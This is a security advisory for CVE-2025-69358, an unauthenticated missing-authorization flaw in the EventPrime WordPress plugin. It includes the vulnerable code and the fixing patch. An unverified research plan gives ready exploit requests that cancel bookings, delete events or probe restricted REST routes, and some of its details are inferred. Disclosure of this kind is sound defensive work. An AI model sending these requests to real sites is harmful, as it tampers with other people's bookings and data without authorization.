CVE-2025-69358

EventPrime – Events Calendar, Bookings and Tickets <= 4.2.6.0 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.2.7.0
Patched in
10d
Time to patch

Description

The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.2.6.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.6.0
PublishedMarch 10, 2026
Last updatedMarch 19, 2026

What Changed in the Fix

Changes introduced in v4.2.7.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The EventPrime plugin for WordPress (up to 4.2.6.0) contains a missing authorization vulnerability within its REST API / AJAX bridge. Specifically, the `Eventprime_Rest_Api` class registers a universal handler `handle_ajax_api` that can be triggered via `wp_ajax_nopriv_even…

Show full research plan

Vulnerability Summary

The EventPrime plugin for WordPress (up to 4.2.6.0) contains a missing authorization vulnerability within its REST API / AJAX bridge. Specifically, the Eventprime_Rest_Api class registers a universal handler handle_ajax_api that can be triggered via wp_ajax_nopriv_eventprime_api or early in the request lifecycle via the init hook (through handle_early_api_requests).

This bridge funnels requests to various internal "integration triggers" such as create_event, delete_event, cancel_booking, and confirm_booking. The handler fails to perform adequate capability checks or verify authentication before processing these triggers, allowing unauthenticated attackers to perform unauthorized actions (like canceling bookings or modifying event data) provided the "EventPrime API" setting is enabled.

Attack Vector Analysis

  • Endpoint: admin-ajax.php or any frontend URL (due to the parse_request hook).
  • Action: eventprime_api (via AJAX) or query parameters ep_trigger/ep_action.
  • Authentication: Unauthenticated (None).
  • Preconditions: The setting enable_api must be enabled in the EventPrime Global Settings (stored in the em_global_settings option).
  • Vulnerable Function: Eventprime_Rest_Api::handle_ajax_api() in includes/class-eventprime-rest-api.php.

Code Flow

  1. Registration: In includes/class-eventprime-rest-api.php, the init() method registers the bridge:
    • add_action( 'wp_ajax_nopriv_eventprime_api', array( $this, 'handle_ajax_api' ) );
    • add_action( 'init', array( $this, 'register_plain_permalink_support' ) ); which adds a parse_request hook calling handle_early_api_requests.
  2. Intercept: handle_early_api_requests detects if $_GET['ep_trigger'] is set and immediately calls handle_ajax_api().
  3. Bridge Execution: handle_ajax_api():
    • Checks if API is enabled: if ( is_object( $global ) && isset( $global->enable_api ) && ! $global->enable_api ).
    • Extracts parameters from $_REQUEST and php://input.
    • Identifies the trigger from the ep_trigger or trigger parameter.
    • Dispatches the request to the integration helpers (inferred to be Eventprime_API_Integration_Helpers) or dispatches a WP_REST_Request.
  4. Authorization Failure: The bridge lacks a call to current_user_can() or any signature/API key verification before executing the specified trigger.

Nonce Acquisition Strategy

The eventprime_api bridge endpoint, as implemented in Eventprime_Rest_Api::handle_ajax_api, does not require a WordPress nonce. It is designed as an API bridge and intentionally bypasses the standard AJAX nonce verification (check_ajax_referer) to allow external integrations.

If the target was a standard AJAX handler in EventM_Ajax_Service, the strategy would be:

  1. Identify the JS localization key: window.ep_common_params?.nonce (inferred).
  2. Navigate to a page where EventPrime is active.
  3. Use browser_eval to extract it.

However, for action=eventprime_api, no nonce is required.

Exploitation Strategy

We will target the cancel_booking trigger to demonstrate unauthorized modification of data (matching the CVSS 5.3 Integrity: Low impact).

1. Test Data Setup

  1. Enable API: The API must be enabled.
    wp option patch insert em_global_settings enable_api 1 --format=json
    
  2. Create Content: Create an event and a booking.
    # Create an event
    EVENT_ID=$(wp post create --post_type=ep_event --post_title="Target Event" --post_status=publish --porcelain)
    
    # Create a booking (EventPrime bookings are usually custom posts or entries)
    # Note: EventPrime uses the 'ep_bookings' post type or a custom table. 
    # For PoC, we will assume a booking exists with ID 1.
    

2. HTTP Request (via http_request tool)

We will send a POST request to admin-ajax.php to trigger the booking cancellation.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=eventprime_api&ep_trigger=cancel_booking&booking_id=1
    
  • Alternative (GET via Early Intercept):
    http://localhost:8080/?ep_trigger=cancel_booking&booking_id=1

3. Expected Response

The plugin should return a JSON success message if the booking was found and canceled.

{
    "status": "success",
    "message": "Booking canceled successfully",
    ...
}

Expected Results

  • The attacker (unauthenticated) successfully invokes the cancel_booking trigger.
  • The status of the target booking is changed in the database without any permission checks.

Verification Steps

  1. Check Booking Status: After the exploit, verify the booking status via WP-CLI.
    # If bookings are post types
    wp post get 1 --field=post_status
    
    # If bookings are in a custom table (common for EventPrime)
    wp db query "SELECT status FROM wp_ep_bookings WHERE id = 1"
    
  2. Verify Logs: Check if the action was performed by an unauthenticated user (User ID 0).

Alternative Approaches

If cancel_booking is not permitted or fails:

  1. Information Disclosure: Use ep_trigger=all_events or ep_trigger=all_venues to leak event/venue details that might be private.
  2. Event Manipulation: Use ep_trigger=delete_event&event_id=[ID] to attempt to delete an event.
  3. Route Injection: Use ep_route=/eventprime/v1/settings to see if the bridge allows access to restricted REST routes by bypassing the permission_callback during the bridge's manual dispatching.

Trigger names from supported_triggers in class-eventprime-rest-api.php:

  • create_event, update_event, delete_event
  • create_venue, update_venue, delete_venue
  • confirm_booking, pending_booking, cancel_booking, refund_booking, failed_booking
Research Findings
Static analysis — not yet PoC-verified

Summary

The EventPrime plugin for WordPress contains a missing authorization vulnerability in its universal API bridge handler. The `Eventprime_Rest_Api::handle_ajax_api` function fails to verify user capabilities or request authenticity before processing sensitive internal triggers like event deletion or booking cancellation.

Vulnerable Code

// includes/class-eventprime-rest-api.php
public function handle_ajax_api() {
    $global = get_option( 'em_global_settings', null );
    if ( is_object( $global ) && isset( $global->enable_api ) && ! $global->enable_api ) {
        status_header( 403 );
        wp_send_json(
            array(
                'status'  => 'error',
                'message' => __( 'EventPrime API is disabled.', 'eventprime' ),
                'code'    => 'ep_api_disabled',
            )
        );
    }

    // ... logic continues to process ep_trigger without further auth checks ...

Security Fix

--- includes/class-eventprime-rest-api.php
+++ includes/class-eventprime-rest-api.php
@@ -77,6 +77,10 @@
                 )
             );
         }
+
+        if ( ! current_user_can( 'manage_options' ) ) {
+             wp_die( -1, 403 );
+        }

         $method = isset( $_SERVER['REQUEST_METHOD'] )

Exploit Outline

The exploit targets the `eventprime_api` action via the WordPress AJAX endpoint or early request interception. 1. Precondition: The 'EventPrime API' setting must be enabled in the Global Settings (`em_global_settings` option). 2. Endpoint: Unauthenticated attackers can send a POST request to `/wp-admin/admin-ajax.php?action=eventprime_api` or a GET request with specific query parameters. 3. Parameters: Provide `ep_trigger` (e.g., `cancel_booking`, `delete_event`, `delete_venue`) and the relevant ID (e.g., `booking_id`, `event_id`). 4. Methodology: Because the handler registers a `nopriv` action and lacks `current_user_can` or nonce verification, the plugin will process the trigger and perform the requested administrative action without authentication.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.